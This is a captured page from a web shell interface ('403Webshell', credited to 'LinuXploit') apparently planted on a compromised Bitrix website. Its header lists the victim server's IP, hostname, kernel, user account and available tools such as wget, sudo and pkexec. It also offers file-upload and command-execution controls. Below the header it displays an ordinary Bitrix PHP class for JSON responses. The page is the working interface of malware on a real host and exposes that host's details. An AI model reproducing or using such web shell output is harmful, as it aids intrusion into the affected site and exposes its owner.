403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/main/lib/engine/response/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/main/lib/engine/response/json.php
<?php

namespace Bitrix\Main\Engine\Response;


use Bitrix\Main\Type\Contract;
use Bitrix\Main;
use Bitrix\Main\Type\DateTime;

class Json extends Main\HttpResponse
{
	protected $data;
	protected $jsonEncodingOptions = 0;

	public function __construct($data = null, $options = 0)
	{
		parent::__construct();

		$this->jsonEncodingOptions = $options;
		$this->setData($data);
	}

	public function setData($data)
	{
		//todo It's a crutch. While we are supporting php 5.3 we have to keep this code.
		//When minimal version is php 5.5 we can implement JsonSerializable in DateTime, Uri and remove this code.
		$data = $this->processData($data);

		if ($data instanceof \JsonSerializable)
		{
			$this->data = Main\Web\Json::encode($data->jsonSerialize(), $this->jsonEncodingOptions);
		}
		elseif ($data instanceof Contract\Jsonable)
		{
			$this->data = $data->toJson($this->jsonEncodingOptions);
		}
		elseif ($data instanceof Contract\Arrayable)
		{
			$this->data = Main\Web\Json::encode($data->toArray(), $this->jsonEncodingOptions);
		}
		else
		{
			$this->data = Main\Web\Json::encode($data, $this->jsonEncodingOptions);
		}

		return $this->setContent($this->data);
	}

	private function processData($data)
	{
		if ($data instanceof \JsonSerializable)
		{
			$data = $data->jsonSerialize();
		}
		elseif ($data instanceof Contract\Jsonable)
		{
			$data = $data->toJson($this->jsonEncodingOptions);
		}
		elseif ($data instanceof Contract\Arrayable)
		{
			$data = $data->toArray();
		}

		if ($data instanceof DateTime)
		{
			return date('c' , $data->getTimestamp());
		}

		if ($data instanceof Main\Type\Date)
		{
			/** @see \CRestUtil::ConvertDate */
			return date('c', makeTimeStamp($data, FORMAT_DATE) + date("Z"));
		}

		if ($data instanceof Main\Web\Uri)
		{
			return $data->getUri();
		}

		if ($data instanceof Main\UI\PageNavigation)
		{
			return array(
				'currentPage' => $data->getCurrentPage(),
				'pageSize' => $data->getPageSize(),
				'recordCount' => $data->getRecordCount(),
			);
		}

		if (is_array($data) || $data instanceof \Traversable)
		{
			foreach ($data as $key => $item)
			{
				$data[$key] = $this->processData($item);
			}
		}

		return $data;
	}

	public function send()
	{
		$this->addHeader('Content-Type', 'application/json; charset=UTF-8');
		parent::send();
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit